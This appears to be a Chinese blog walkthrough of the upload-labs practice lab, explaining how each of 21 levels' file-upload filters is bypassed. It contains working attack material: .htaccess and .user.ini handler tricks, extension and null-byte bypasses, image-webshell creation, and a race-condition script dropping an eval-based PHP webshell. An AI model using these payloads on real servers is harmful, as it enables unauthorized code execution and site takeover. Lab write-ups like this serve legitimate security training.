upload-labs

项目地址:https://github.com/c0ny1/upload-labs

Pass-01:在客户端使用JS进行验证

1.使用burp将所有JS删除,再上传phpinfo.php或者F12删除JS,再上传php文件。

然后可以直接上传php文件,不需要考虑什么了。

上传成功。

2.绕过JS验证

先关闭burp的删除JS选项,重新上传phpinfo.php,上传失败。

重新上传并使用burp拦截,并将后缀名从jpg改为php。

上传成功。

Pass-02:MIME-Type验证

MIME-Type介绍:

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

绕过MIME-Type:

上传成功。

Pass-03:黑名单验证,后缀名

基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传。

但是可以其他后缀名嘛,例如php1、php2、phtml、php5等等。

注:上传成功后,文件名会被更改,所以需要查看文件上传的位置以及文件名。

Pass-04:黑名单验证,.htaccess

禁止的有点多,但是没有htaccess。

htaccess文件介绍:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

创建1.htaccess,并将其上传:

<FilesMatch "上传的图片马的文件名"
SetHandler application/x-httpd-php
</FilesMatch>

再上传图片马即可。

Pass-05:黑名单验证,.user.ini

这一关,先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif,.user.ini文件里面的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。

参考链接:csdn

Pass-06:黑名单验证,大小写绕过

这一关将htaccess也ban了。

大小写绕过原理:

Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。

访问文件

Pass-07:黑名单验证,空格绕过

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Burpsuite阶段HTTP请求之后,修改对应的文件名 添加空格。

上传成功。

Pass-08:黑名单验证,点号绕过

.号绕过原理:

Windows系统下,文件后缀名最后一个点会被自动去除。

上传成功

Pass-09:黑名单验证,::$DATA绕过

特殊符号绕过原理:

Windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

Pass-10:黑名单验证,点号绕过拼接并绕过前面的两次过滤

这一关是将文件名进行过滤操作后,将文件名拼接在路径后面,所以需要绕过前面的首尾去空以及去点。

Pass-11:黑名单验证,双写绕过

这一关是用str_ireplace函数将符合黑名单中的后缀名进行替换为空。所以可以双写绕过。

这个匹配是从左往右的匹配,不要双写成phphpp,这样过滤后就成了hpp。

Pass-12:白名单验证,GET型0x00截断

这一关,需要php的版本号低于5.3.29,且magic_quotes_gpc为关闭状态。

Pass-13:白名单验证,POST型0x00截断

这一关和Pass-12的区别是,00截断是用在POST中,且是在二进制中进行修改。因为POST不会像GET那样对%00进行自动解码。

Pass-14:图片马,文件包含利用

制作图片马:

copy 1.jpg/a + 1.txt/b 2.jpg

1.txt中的内容为一句话木马,1.jpg则是一张图片。生成的图片马是2.jpg。

顺利的上传图片马,图片名会重新命名,所以burp上传,记得看一下。

利用include.php实现文件包含(自带有):

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

蚁剑连接一句话:

Pass-15:图片马,文件包含利用

同pass-14,传一样的图片马就好。

注:这里可能会有一些问题,就是copy制作的图片马,制作出来后,图像是损坏的,那么15关就过不去。所以可以利用winhex之类的工具,讲一句话加在图片的后面。这样就能过了。

同样,利用起来还是文件包含。

Pass-16:图片马,文件包含

这一关需要开启php_exif模块。phpstudy很好打开此模块。

同前两关,能过Pass-15的图片马就能过这关。

Pass-17:图片马加二次渲染

这里使用容易绕过二次渲染的gif文件。现在制作一个gif图片马,copy就可以了。也可以winhex制作。

制作后便上传,发现无法利用。然后将上传的图片重新下载下来,放入winhex,进行对比。

可以找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方。

上传修改好的图片马,蚁剑连接成功。

Pass-18:白名单验证,条件竞争

这一关是先上传再判断,所以实在判断前就对上传的文件进行请求。

先创建一个webshell.php,内容为

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>

再使用python不断请求

import requests
while 1:
    requests.get("http://192.168.84.131/upload-labs/upload/webshell.php")

运行python代码,再开始上传php文件。

但是这里使用python请求,虚拟机配置不高 很快就gg。

所以改哈这一关的代码:

重新开始

请求成功,看看是否有shell.php

蚁剑连接成功。

Pass-19:白名单验证,图片马

这一关相比18关,上传的文件就必须是白名单中的文件。

Pass-19.jpg是包含18关的webshell.php的内容的图片马。毕竟是先检查后缀的。

这里上传的文件以及生成的shell.php会出现在upload-labs目录中。

然后再访问http://ip/upload-labs/include.php?file=./对应的文件名。就可以生成shell.php。

也可以直接上传14~16关的那种图片马,当然也需要知道重新命名后的文件名,再利用文件包含即可。同14~16关差不多,唯一多了一步就是需要确定上传的文件的文件名以及位置。

Pass-20:黑名单验证,点号绕过

验证是否成功。

Pass-21:白名单验证,数组绕过

参考链接:csdn

这一关可以直接像14关那样,图片马,文件包含直接过。

以下是参考的数组绕过

之后蚁剑连接即可。

posted @ 2020-04-16 17:38  Paddling  阅读(10017)  评论(5编辑  收藏  举报